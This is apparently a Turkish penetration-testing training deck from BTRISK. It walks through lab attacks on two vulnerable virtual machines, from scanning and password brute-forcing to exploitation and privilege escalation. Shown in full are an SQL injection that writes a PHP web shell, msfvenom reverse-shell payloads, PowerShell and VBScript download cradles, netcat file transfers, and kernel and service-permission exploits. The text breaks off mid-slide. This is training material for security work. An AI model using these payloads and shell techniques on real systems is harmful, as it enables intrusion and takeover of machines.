You are on page 1of 618

UYGULAMALI

SIZMA TESTİ
(PENTEST) EĞİTİMİ

blog.btrisk.com @btrisk /btrisktv /btrisk


TANIŞMA
BTRİSK HAKKINDA

BG Operasyon ISO27001 Danışmanlık


Pentest & BT Denetimi
Hizmetleri Hizmetleri
TANIŞMA

Göreviniz, Deneyiminiz ve Eğitimden Beklentileriniz


Nelerdir?
TEMEL SIZMA TESTİ METODU
Girdi Noktalarının
Bilgi Toplama
Tespiti

İstismar PAYLOAD'u Parola Saldırısı


Gönderme Gerçekleştirme

SHELL Erişimi Sağlama ve Dosya Yükleme

Yetki Yükseltme ve Ele Geçirilen Sistemi Saldırı Platformu


Olarak Kullanmaya Başlama
HACKING'İN ALTIN KURALI

BİR HEDEFE ANCAK


GİRDİ NOKTALARINDAN
SALDIRABİLİRSİNİZ
SALDIRI (GİRDİ) NOKTALARI
• İnsan
• Tesis
İstemci taraflı saldırılarla ilgili
• Ağ dolaylı olarak değineceğiz
• Sistem
• Uygulama (Servis)

Eğitimimizin odağını oluşturacaklar


METOD VE
ARAÇLAR
(Uygulamalı
Giriş)
İÇERİK
• Kali Linux Kurulumu
• Sistem-1 (Senaryo)
• Sistem-2 (Senaryo)
• Örnek Senaryolarda Kullanılan Araçlar
• Olası Sorular ve İlgili Bölümler
ÖNEMLİ UYARI
• Eğitimin bu bölümünde 2 farklı sisteme yönelik
saldırı senaryoları izlenecektir.
• Senaryolar sırasında ilk defa karşılaşıyor
olabileceğiniz ve tam olarak nasıl çalıştığını bu
noktada anlayamayabileceğiniz uygulamaları
gerçekleştireceksiniz.
• PANİK OLMAYIN !!!
• Bu uygulamalara teorik bilgi aktarılırken referans
verilecek, bu şekilde teorik bilginin sıkıcılığı azalırken
uygulamalarda oluşan sorularınız yanıt bulmaya
başlayacaktır.
ÖN ADIMLAR
• KALI Linux kurulumu
• Sistem-1 OVF imajının sanallaştırma uygulamasına
import edilmesi ve başlatılması
• Sistem-2 OVF imajının sanallaştırma uygulamasına
import edilmesi ve başlatılması (bu imaj için
eğitmenler tarafından bir uygulamanın başlatılması
gerekecektir)
KALİ LİNUX KURULUMU
• Kali Linux işletim sisteminin kurulumu herhangi bir
Linux işletim sisteminin kurulumundan farksızdır.
• İşletim sistemi ISO imajı "www.kali.org" sitesinden
indirilir.
• Kullandığınız sanallaştırma uygulaması ile yeni bir
sanal makine oluşturulur.
• Disk imajı olarak indirilen ISO imajı seçilir ve
bilgisayar CD'den boot edilmiş gibi işletim sistemi
başlatılır. İsterseniz Kali'yi bu şekilde (Live olarak) de
kullanabilirsiniz. Ancak bir diske kurulum
yapmadığınız takdirde dosya sistemine yazdığınız
veriler kalıcı olmayacaktır.
KALİ LİNUX KURULUMU
• Kurulum sırasında ana hatları ile aşağıdaki işlemler
gerçekleştirilir:
• (Sanal diskin) partition tablosunun oluşturulması
ve belirlenen partitionların dosya sistemlerinin
formatlanması.
• (İşletim sistemi kernel'ı da dahil) sistem
dosyalarının oluşturulan sanal diske
kopyalanması ve kurulum sırasında belirlenen
ayarların diske yazılması.
• Bootloader uygulamasının (bileşenlerinin)
partition tablosuna ve sanal diske yazılması.
KALİ LİNUX KURULUMU
• İşletim sistemlerinin başlatılma süreci ise ana hatları
ile şu şekildedir:
• Bilgisayar BIOS sistemi diskin ilk sektöründen
başlayan partition tablosunu okur.
• Partition tablosunda yer alan Master Boot
Record (MBR) içinde bulunan Bootloader kodu
devreye girer.
• Bootloader kodu işletim sistemi kernel'ını
hafızaya yükler.
• Kernel diskin dosya sistemini hayata geçirir ve
"init script"lerini işletir. Bu aşama
tamamlandığında işletim sistemi ayaktadır.
KALİ LİNUX KURULUMU
İşletim sisteminin
kurulumu için Kali'nin ISO
imaj dosyasını seçiyoruz.
KALİ LİNUX KURULUMU
Kurulum yapmak
istemeseydik ve sadece
live olarak Kali'yi
kullanmak isteseydik bu
opsiyon ile işletim
sistemini başlatabilirdik.

Kolay bir kurulum için


graphical install
seçeneğini seçiyoruz.
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU

Gerçek bir ortamda şifreninin bu


şekilde belirlenmesi önerilmez.
Ancak Kali öntanımlı olarak
herhangi bir servisi açık biçimde
kurulmaz, hatta yeni bir servis
kurduğunuzda bu servisin otomatik
olarak hayata geçirilmesini
engelleyecek biçimde
özelleştirilmiştir. Bu yüzden parolayı
unutmaktansa "toor" olarak
belirlemek tercih edilebilir.
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU

Kurulumumuz tek partition (yani


dosya sistemi) barındıracak bir
disk oluşturacak.
Operasyonel işletim sistemlerinde
sistem dosyaları ve sürekli
büyüyen dosyaları farklı
partition'larda barındırmak
isteyebilirsiniz.
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU

Bootloader'ın (GRUB) tek diskimiz


olan /dev/sda cihazına yazılması
önemli. Burada hata yaparsak
bootloader devreye giremeyecek,
dolayısıyla işletim sistemi de
ayağa kaldırılamayacaktır.
KALİ LİNUX KURULUMU
KALİ LİNUX KURULUMU

Çözünürlük

Klavye Ayarları
KALİ LİNUX KURULUMU
Host bilgisayarınızla Kali Linux guest bilgisayarınız arasında sürükle bırak
kopyalama yapabilmek ve clipboard'u kullanabilmek için.

3
SİSTEM – 1
SİSTEM – 1 (IMAJI IMPORT ETME)
• Sistem-1'i OVF dosyasından sanallaştırma
uygulamanıza import ediniz.
SİSTEM – 1 (IMAJI IMPORT ETME)
OVF dosyasından sistem imajımızı
import etmek için mevcut bir
sanal makineyi açarmış gibi OVF
dosyasını seçiyoruz.
SİSTEM – 1 (IMAJI IMPORT ETME)

İmajı import etmek


için Import
düğmesine
basıyoruz.
SİSTEM – 1 (IMAJI IMPORT ETME)
SİSTEM – 1 (SENARYO)

Kali bilgisayarımızın IP adresi


SİSTEM – 1 (SENARYO)
Bizim ortamımızda diğer aktif sunucunun
137 adresli sunucu olduğunu ARP taraması
ile tespit ettik.

# netdiscover -r 192.168.163.0/24
SİSTEM – 1 (SENARYO)

# nmap -A 192.168.163.137

Port taramamız sonucunda sunucu


üzerinde bir web sunucusu bulunduğunu
tespit ediyoruz.
SİSTEM – 1 (SENARYO)

Hedef sunucumuz üzerinde öntanımlı


kurulumda bırakılmış gibi görünen bir CMS
uygulaması var.
CMS uygulamasının adı nmap taramasında
da görüldüğü gibi Baby Gekko.
SİSTEM – 1 (SENARYO)

# searchsploit baby gekko


SİSTEM – 1 (SENARYO)

Uygulamanın versiyonunu bulma


çalışmaları.
SİSTEM – 1 (SENARYO)

# nikto -h 192.168.163.137
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)

# dirb http://192.168.163.137
SİSTEM – 1 (SENARYO)

Uygulama versiyonunu bulabilmek için


açıklık barındıran uygulamanın bir
kopyasını indirerek içinde versiyon
bilgisini barındıran bir dosya arayabiliriz.
Eğer bulabilirsek daha sonra bu dosyaya
anonim olarak erişebilir miyiz diye
inceleyebiliriz.
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)

# grep -r -i "vers" .

-r: Recursive
-i: Ignore case
SİSTEM – 1 (SENARYO)

Admin olmadan versiyonu görmemiz zor


görünüyor.
SİSTEM – 1 (SENARYO)

Stored XSS uygulama


yöneticisinin oturum
parametresini çalmamıza Bu açıklıkla ilgili özet bilgi pek
yarayabilir. Ancak bu saldırı için açıklayıcı değil. Detaylı bilgi için
sabırlı olmamız gerekir. inceleyelim.
SİSTEM – 1 (SENARYO)

Bu versiyonda SQL Injection, Local File Inclusion ve XSS


açıklıkları var. LFI'ı denediğimizde uygulama hata alıyor. Bu
nedenle SQLi açıklığını deneyelim.

Ancak SQLi için Admin erişimine ihtiyacımız var, çünkü SQLi


açıklıkları bu kullanıcının erişebildiği sayfalarda mevcut.
SİSTEM – 1 (SENARYO)

Parola listesi oluşturmak için


kullandığımız araç:
# cewl http://192.168.163.137
SİSTEM – 1 (SENARYO)
cewl ile web sitesinin ilk sayfasında
bulunan kelimelerden bir sözlük dosyası
oluşturduk. Ancak bu sözlükteki
kelimelerden farklı bir sözlük türetmek
için John the Ripper programının rule
özelliğinden faydalanabiliriz.
JTR ile birlikte gelen konfigürasyon
dosyasına ek olarak KoreLogic
tarafından geliştirilmiş olan kuralları
kullanabiliriz.
SİSTEM – 1 (SENARYO)

KoreLogic'ten aldığımız kuralı john.conf


konfigürasyon dosyasına aktarıyoruz.
SİSTEM – 1 (SENARYO)

# john --wordlist=passlist.txt --rule=KoreLogicRulesAppendJustNumbers


--stdout > mutated-wordlist.txt
SİSTEM – 1 (SENARYO)

Parola kırma saldırısı için bir


attack proxy kullanacağız.
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO) Trafiğimizi attack proxy'den
geçirmek için tarayıcı
ayarımızı düzenliyoruz.
SİSTEM – 1 (SENARYO)
Kaba kuvvet saldırısı
yapacağımız parametreyi
seçiyoruz.
SİSTEM – 1 (SENARYO)
Sözlük dosyası olarak yeni
oluşturduğumuz dosyayı
seçiyoruz.
SİSTEM – 1 (SENARYO)
Yanıtları HTTP Response
Code'a göre tersten
sıraladığımızda kırılan
parolanın "btrisk" olduğunu
görebiliriz.
SİSTEM – 1 (SENARYO)

http://[host]/admin/index.php?
app=users&ajax=1&action=search&keyword=1%27%29%20UNION%20SELECT
%201,2,3,4,5,6,7,8,%27%3C?%20phpinfo%28%29;%20?%3E%27%20INTO
%20OUTFILE%20%27/tmp/.class.php%27%20--%202%20
SİSTEM – 1 (SENARYO)

http://[host]/admin/index.php?app=users&ajax=1&action=search&keyword=1')
UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
SİSTEM – 1 (SENARYO)

Bizim ortamımızda PHP


kodunun çalışabilmesi için <?
sonrasında bir de "php"
ifadesini eklemek
durumunda kaldık.

http://192.168.163.137/admin/index.php?
app=users&ajax=1&action=search&keyword=1') UNION SELECT 1,2,3,4,5,6,7,8 ,'<?
php phpinfo(); ?>' INTO OUTFILE '/var/www/html/test.php' -- 2
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)
SİSTEM – 1 (SENARYO)

Bu defa daha işe yarar bir


payload ile bir php dosyası
oluşturalım

http://192.168.163.137/admin/index.php?
app=users&ajax=1&action=search&keyword=1') UNION SELECT 1,2,3,4,5,6,7,8 , "<?
php System($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/cmd.php' -- 2
SİSTEM – 1 (SENARYO)
cmd.php uygulaması
sayesinde hedef bilgisayar
üzerinde sistem komutu
çalıştırmayı başardık.

BİR SONRAKİ ADIM


Bize shell açacak bir
payload'u hedef bilgisayar
üzerine atmak ve bu kodu
çalıştırmak olacak.
SİSTEM – 1 (SENARYO)

# msfvenom -p php/meterpreter/reverse_tcp
LHOST=192.168.163.138 LPORT=4444 -f raw > payload.txt

msfvenom ile bir reverse meterpreter


oturumu başlatacak olan PHP payload'u
üretiyoruz.
SİSTEM – 1 (SENARYO)

http://192.168.163.137/cmd.php?cmd=nc -vv -l 1234 > reverse.php

Hedef bilgisayar üzerinde (bir linux


sunucu olduğu için) netcat ile TCP 1234
portundan dinleyecek ve gelen veriyi
"reverse.php" dosyasına aktaracak olan
sistem komutunu çalıştırıyoruz.
SİSTEM – 1 (SENARYO)

# nc -vv 192.168.163.137 1234 < payload.txt

Saldırı bilgisayarımızdan
oluşturduğumu PHP payload'unu hedef
bilgisayara aktarıyoruz.
SİSTEM – 1 (SENARYO)

# msfconsole

Hedef bilgisayardan gelecek olan


bağlantıyı ele almak üzere msfconsole'u
başlatıyoruz.
SİSTEM – 1 (SENARYO)

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.163.138
set LPORT 4444
run
SİSTEM – 1 (SENARYO)

http://192.168.163.137/reverse.php

Hedef bilgisayar üzerinde netcat ile


aktardığımız payload script'ini
çalıştırıyoruz.
SİSTEM – 1 (SENARYO)

Handler'ımız hedeften gelen bağlantıyı


ele aldı ve meterpreter oturumumuz
başlatıldı.
SİSTEM – 1 (SENARYO)
Yetki yükseltme adımı için bilgi
shell
toplamaya başlıyoruz.
whoami
uname -a
cat /etc/*-release

Ubuntu 14.04
Kernel 3.13.0-32-generic
SİSTEM – 1 (SENARYO)
Hedef bilgisayarın işletim sistemi kernel
versiyonuna uygun bir Local Privilege
Escalation exploit'u arayabiliriz.
SİSTEM – 1 (SENARYO)
Bulduğumuz kaynaklar içinde bazen
exploit kaynak koduna bazen de
derlenmiş exploit koduna
rastlayabiliriz. Derleme işleminin en
sağlıklı yapılabileceği sistem hedef
sistemdir, ancak her zaman hedef
sistem üzerinde bir derleyici
bulamayabiliriz. Bu gibi durumlarda
derlenmiş bir exploit bizim için daha
pratik olacaktır.
SİSTEM – 1 (SENARYO)
Derlenmiş exploit kodunu barındıran
bir github kütüphanesinden 64 bitlik
kernel exploit'umuzu indirelim.
SİSTEM – 1 (SENARYO)
YETKİ YÜKSELTME –
PRIVILEGE ESCALATION exit (shell'den ayrılıyoruz)

[Meterpreter]
upload ./Downloads/ofs_64
shell

[Shell]
cd /tmp
ls -al ofs_64
chmod +x ofs_64
./ofs_64
# id
SİSTEM – 1 (SENARYO)
ÖZETLE;
• Port taraması ile tespit ettiğimiz web
uygulamasının açıklık barındıran bir uygulama
olduğunu öğrendik.
• Uygulamanın admin logon sayfasını tespit ettik
ve admin şifresini sözlük saldırısı ile kırdık.
• Admin profili ile SQLi saldırısı gerçekleştirerek
hedef sisteme sistem komutları çalıştırabilen bir
PHP dosyası yazdık.
• "msfvenom" ile bir PHP reverse meterpreter
payload'u oluşturduk ve bu dosyayı hedef
sisteme attık.
SİSTEM – 1 (SENARYO)
ÖZETLE (devamı);
• "msfconsole" uygulamasının
exploit/multi/handler modülü ile reverse
bağlantıyı karşıladık ve meterpreter oturumu
başlattık. Sağladığımız erişim "www-data" adlı
kullanıcı haklarıyla sağlanmıştı.
• Yetki yükseltme için bilgi topladık ve bir local
privilege exploit kullanarak "root" kullanıcısı
olduk.
Not: Normalde yetki yükseltme aşamasına hemen geçmeden "www-data"
kullanıcısının dahil olduğu grupları ("id" komutu ile) ve sudo haklarını ("sudo
–l" komutu ile) kontrol etmemiz gerekir. Belki de zaten yüksek erişim
haklarına sahibizdir.
SİSTEM – 2
SİSTEM – 2 (SENARYO)
BU ADIMDAN SONRA
EĞİTMENİNİZİN
SİSTEMİNİZDE BİR İŞLEM
GERÇEKLEŞTİRMESİ
GEREKLİDİR !!!

# netdiscover -r 192.168.163.0/24
SİSTEM – 2 (SENARYO)
Nmap'in işletim sistemi
tahmini

# nmap -A 192.168.163.140
SİSTEM – 2 (SENARYO)

Netcat ile TCP 888 portuna


bağlandıktan (TCP handshake
tamamlandıktan) hemen sonra sunucu
bağlantıyı sonlandırıyor.
SİSTEM – 2 (SENARYO)
Bilinen portlar incelemesi.
SİSTEM – 2 (SENARYO)
UDP port tarama

Nmap SNMP community


string tespiti de yapmış

# nmap -sU -sV --top-ports 20


192.168.163.140
SİSTEM – 2 (SENARYO)

Hedef bilgisayarımızın
Windows olduğundan
şüpheleniyoruz, ancak
Netbios taraması herhangi bir
sonuç döndürmedi.
Neden?..
SİSTEM – 2 (SENARYO)

Netbios taramasından
sunucu adını öğrenemesek
de SNMP sorguları ile
sunucunun adını elde
edebildik.

# snmp-check -c public 192.168.163.140


SİSTEM – 2 (SENARYO)

Kullanıcı hesaplarını elde


edebildik. Ancak uzaktan
saldırı için şu aşamada bir
işimize yaramıyor.
Neden?..
SİSTEM – 2 (SENARYO)

Hedef sunucumuz
92.222.129.112 IP adresli
başka bir sunucuyla TCP 80
portundan iletişim kurmuş
görünüyor.
SİSTEM – 2 (SENARYO)

Whois sorgusunda
92.222.129.112 IP adresinin
de içinde bulunduğu IP
aralığının sahibinin ALLPlayer
olarak geçiyor. Artur bir kişi
ismine benziyor.

# whois 92.222.129.112
SİSTEM – 2 (SENARYO)
SİSTEM – 2 (SENARYO)

Çalışan proses'lerden
birisinin adı ALLMediaServer
olarak geçiyor.
SİSTEM – 2 (SENARYO)

Zayıf bir ilişki de olsa TCP 888


portu ile ilgili bir ifade ürünle
ilgili bir sayfada geçiyor.
SİSTEM – 2 (SENARYO)

Birinci istismar kodunu içinde


bulunduğumuz dizine TCP 888 portunda çalışan
kopyalıyoruz. servisin ALLMedia Server ile
ilgili olduğuna dair şüphemiz
güçlendiği için bu
uygulamayla ilgili istismar
kodu var mı arıyoruz.
SİSTEM – 2 (SENARYO)

Windows 7 üzerinde çalışan


bir istismar kodu. Bizim
işletim sistemi tahminimizle
de uyumlu.
SİSTEM – 2 (SENARYO)

İstismar kodu içinde


bulunan shell code bir
reverse tcp kodu, ancak
bizim ihtiyacımıza
uygun değil.
Çünkü bizim istediğimiz
adrese dönmesi lazım.
SİSTEM – 2 (SENARYO)

Reverse TCP
bağlantısının kurulması
için bilgisayarımızın IP
adresini kontrol edelim.
SİSTEM – 2 (SENARYO)

Python reverse tcp shell


payload'umuzu oluşturuyoruz.
Dönüş yapacağımız TCP port'u 4444

# msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp


LHOST=192.168.163.138 LPORT=4444 -e x86/shikata_ga_nai -b '\x00' -i 3 -f
python > payload.txt
SİSTEM – 2 (SENARYO)

Bizim oluşturduğumuz
shell code.
SİSTEM – 2 (SENARYO)

Kendi shellcode'umuzu
yerleştirdikten sonra
istismar kodundaki
yerel değişken
isimlerinden dolayı
taranmış alanda da
gösterilen düzenlemeyi
yapıyoruz.
SİSTEM – 2 (SENARYO)

ALLMedia Server olduğundan şüphelendiğimiz


servisi exploit etmeye hazırız.
Dönen shell'i karşılamak için Netcat ile TCP 4444
portundan dinlemeye başlıyoruz.
SİSTEM – 2 (SENARYO)

İstismar kodumuzu çalıştırdığımızda reverse


shell'imizi alıyoruz.
"whoami" komutu ile bağlandığımız kullanıcı
kodunu sorguladığımızda "test" adlı kullanıcıyla
sisteme bağlandığımızı görüyoruz.
SİSTEM – 2 (SENARYO)

whoami /groups komutu ile kullanıcımızın dahil


olduğu grupları listelediğimizde Administrators
grubuna dahil olduğumuzu görüyoruz. Bu oldukça
iyi, ancak Windows işletim sisteminde en yüksek
erişim hakkına sahip kullanıcı System kullanıcısı.
SİSTEM – 2 (SENARYO)
wmic service get name,displayname,pathname,startmode

Windows bilgisayarlarda yetki yükseltmek için faydalanabileceğimiz


zayıflıklardan birisi de servis kodlarının erişim kontrol zayıflığıdır. Bunun için
önce "wmic service get" komutu ile tüm servisleri listeleyelim.
SİSTEM – 2 (SENARYO)
wmic service get name,displayname,pathname,startmode | findstr /i /v
"windows"

Hedefimizi biraz daha daraltmak için içinde Windows geçmeyen satırları


arayalım. C:\Windows dizini dışında bulunan çalıştırılabilir kodların erişim
hakları daha gevşek olabilir düşüncesi ile böyle bir inceleme yapabiliriz.
SİSTEM – 2 (SENARYO)

cacls C:\btrisk

Kullanıcımızın da içinde
olduğu Administrators
grubunun C:\btrisk
dizinine Full erişim
hakkı var.
SİSTEM – 2 (SENARYO) Hedef sistem üzerinde
daha rahat işlem
echo strUrl = WScript.Arguments.Item(0) > wget.vbs yapabilmek için dosya
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
aktarabilmemiz lazım.
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs Windows ortamında
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs wget benzeri bir
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs,fonksiyonaliteyi
ts >> wget.vbs bu vb
echo Err.Clear >> wget.vbs script ile oluşturabiliriz.
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
SİSTEM – 2 (SENARYO)
Script'imizi yazarken
erişim hakkı problemi
yaşamamak için
C:\Windows\Temp
dizinine geçiyoruz.

Script'i kopyala yapıştır


işlemiyle shell'imize
yazabiliriz. Shell
erişimimiz üzerinden
hedef bilgisayar
üzerinde wget.vbs
script'imiz oluşacaktır.
SİSTEM – 2 (SENARYO)
# msfvenom --platform windows -p windows/x64/shell_reverse_tcp
LHOST=192.168.163.138 LPORT=5555 -f exe-service -o service.exe

SimpleHTTPServer Python
modülü ile basit bir HTTP
servisini içinde
bulunduğumuz dizin içinde
# python -m SimpleHTTPServer 80 başlatıyoruz.

Servis exe'sini ezmek ve bu exe'yi harekete geçirerek hedef sisteme


System kullanıcı hakları ile bağlanmak amacıyla servis exe türünde bir
payload oluşturuyoruz. Bu payload bilgisayarımıza TCP 5555 portundan
bağlanacak.
SİSTEM – 2 (SENARYO)
cscript wget.vbs http://192.168.163.138/service.exe service.exe

wget.vbs script'i ile servis exe'mizi hedef bilgisayara çekiyoruz. Daha


sonra yazma hakkımız olduğu için bu dosya ile asıl servis kodunu eziyoruz.
SİSTEM – 2 (SENARYO)

Servis tekrar başlatıldığında


System kullanıcı hakları ile
açılacak shell'i beklemek
amacıyla TCP 5555 portundan
dinlemeye başlıyoruz.
SİSTEM – 2 (SENARYO)

net stop btrservice


net start btrservice

Btrservice servisimizi tekrar


başlatarak reverse shell
bağlantısının kurulmasını
sağlıyoruz.
SİSTEM – 2 (SENARYO)
YETKİ YÜKSELTME –
PRIVILEGE ESCALATION
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

• Az önceki örneğimizde hedef bilgisayarımızdaki bir


yetkilendirme konfigürasyon hatasından
faydalandık.
• Bu örneğimizde ise hedef bilgisayarda bir lokal
exploit kullanarak yetki yükseltme adımını
gerçekleştireceğiz.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

Hedef sistem üzerinde SYSTEM haklarına


geçiş yapabilmek için sistemin eksik
yamalarını inceleyeceğiz. Bunun için
hedef sunucudan alacağımız
"systeminfo" komutunun sonuçlarını
Windows Exploit Suggester script'i ile
analiz edeceğiz.

Bu script'in kodunu GitHub'ın


web sitesinden "raw"
düğmesine sağ klikleyerek kodu
indirebilirsiniz
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

./windows-exploit-suggester.py --update

Windows-exploit-suggester.py script'imize
çalıştırma izni verdikten sonra "--update"
opsiyonuyla çalıştırıyoruz. Bu işlem
sayesinde script'imiz güncel güncelleme
listesini bir XLS dosyası olarak indiriyor.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

pip install xlrd

Küçük bir ayrıntı ancak Python script'imiz bir


XLS dosyayı girdi olarak alacağı için XLRD
python paketinin yüklenmesi gerekiyor.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

locate nc.exe

Hedef işletim sistemi Windows olduğunda Linux'daki kadar zengin upload ve


download imkanlarına sahip değiliz. Hedef sisteme upload yapabilmek için daha
önce bir VBS script'i oluşturduk, ayrıca Windows işletim sistemi bize Powershell,
BITS gibi ek imkanlar da sunuyor upload işlemi için. Ancak Windows'dan saldırı
platformumuza download için imkanlarımız daha kısıtlı. Bu kısıtı aşabilmekve bu
sistemden (saldırı sistemimize) download kabiliyetimizi artırmak için hedef sisteme
NetCat'i yükleyebiliriz.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

python -m SimpleHTTPServer 80

NetCat'i yüklemek için basit HTTP


sunucumuzu başlatalım.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

powershell -exec bypass -c "(New-Object


System.Net.WebClient).DownloadFile('http://192.168.152.192/
nc.exe','C:\\Windows\\Temp\\nc.exe')";

Bu PowerShell oneliner ile hedef sisteme bir dosyayı HTTP üzerinden indirebiliriz.
PowerShell son derece güçlü bir araç ve oldukça esnek. Bu nedenle gerçek hayat
senaryolarında izlenme ihtimali de yüksek olduğundan Red Team senaryolarında
daha önce oluşturduğumuz VBS script'inin tercih edildiği durumlar da olabilir.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

systeminfo > C:\Windows\Temp\systeminfo.txt


"systeminfo" komutu ile hedef bilgisayar hakkındaki temel bilgiler (işletim sistemi
versiyon ve mimarisi gibi) ile birlikte yüklenmiş olan yamaların (hotfix'ler) da
listesini alabiliriz.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

nc -vv -lp 8888 > systeminfo.txt

Bir Linux sistemi olan Sistem-1 senaryosunda NetCat'i hedef sisteme dosya
aktarmak için bir PHP uygulaması aracılığı ile kullanmıştık. Bu defa tam tersi yönde
dosya aktarımı için NetCat'i kullanacağız. Bu imkan sayesinde hedef sistem
üzerinde çalıştırdığımız "systeminfo" komutunun çıktısını dosya olarak indireceğiz.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

nc -vv -w 10 192.168.152.192 8888 < systeminfo.txt

Hedef Windows sistemi üzerinde çalıştıracağımız bu komutla dosyayı saldırı


sistemimiz üzerinde dinlemekte olduğumuz TCP 8888 portuna iletiyoruz. Bu
kullanımda "-w 10" parametresi bağlantının 10 sn. sonra sonlandırılması için
kullanılmaktadır. Eğer aktarım süreniz daha uzunsa bu süreyi uzatmalısınız.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

Saldırı sistemimizde gelen dosyayı kaydettik ve Windows'da çalışan NetCat


uygulaması bağlantıyı sonlandırdığında dinleyen NetCat'de çalışmayı sonlandırdı.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

./windows-exploit-suggester.py -i systeminfo.txt -d
2019-01-11-mssb.xls > winexploits.txt

Daha önce indirdiğimiz exploit suggester uygulamamızla Microsoft'tan yeni


güncellediğimiz yama listesini ve hedef sistem üzerinde mevcut yamaları
karşılaştıralım. Bu işlemi gözle daha yapabileceğimizi unutmayalım.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

Exploit Suggester script'inin çıktılarını inceleyerek potansiyel lokal exploit'leri


araştırıp, bulup hedef sistem üzerinde deneyebiliriz. Başında [E] olan satırlar
Exploit-Db'de mevcut lokal exploit'leri, [M] olan satırlar Metasploit'te mevcut olan
lokal exploit'leri belirtmek için kullanılmış. Ancak farklı kaynaklardan da lokal
exploit bulmak mümkün.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

Bu adımda pek çok exploit tek tek denenebilir, ancak kararlı bir lokal exploit'i daha
önceden deneyimlemişseniz elbette ilk denemek isteyeceğiniz exploit bu olabilir.
Bu örnekte pek çok saldırıda da kullanıldığını bildiğimiz MS14-058 lokal exploit'ini
kullanacağız. Bu exploit'in Metasploit modülü de var, ancak biz bu örnekte farklı
bir exploit kodunu internetten bularak kullanacağız.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

MS14-058 için ekranda görülen linkli RAR


paketini kullanabiliriz.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

Hedef sistemimiz 64 bit'lik bir işletim sistemi


olduğu için Win64.exe dosyasını /root/
dizinine çıkaralım.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

Win64.exe dosyasının içinde bulunduğu


/root/ dizininin içinden basit HTTP
servisimizi başlatalım.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

powershell -exec bypass -c "(New-Object


System.Net.WebClient).DownloadFile('http://192.168.152.192/
Win64.exe','C:\\Windows\\Temp\\Win64.exe')";
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

Win64.exe exploit kodumuzla tetikleyeceğimiz ve bize "SYSTEM"


kullanıcı hakları ile ikinci bir shell açacak olan payload'umuzu
"msfvenom" ile oluşturalım.
msfvenom -p windows/x64/shell_reverse_tcp
LHOST=192.168.152.192 LPORT=5555 -f exe > shell.exe
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

powershell -exec bypass -c "(New-Object


System.Net.WebClient).DownloadFile('http://192.168.152.192/
shell.exe','C:\\Windows\\Temp\\shell.exe')";

Reverse TCP shell payload'umuzu da hedef sisteme PowerShell


yardımı ile yükleyelim.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

İki dosyamızın da hedef bilgisayar tarafından çekilip çekilmediğini


basit HTTP sunucumuzu başlattığımız konsolumuzdan görebiliriz.
Yetki Yükseltme
SİSTEM – 2 (SENARYO) Alternatif Senaryo

"SYSTEM" hakları ile bağlantı kurmasını beklediğimiz


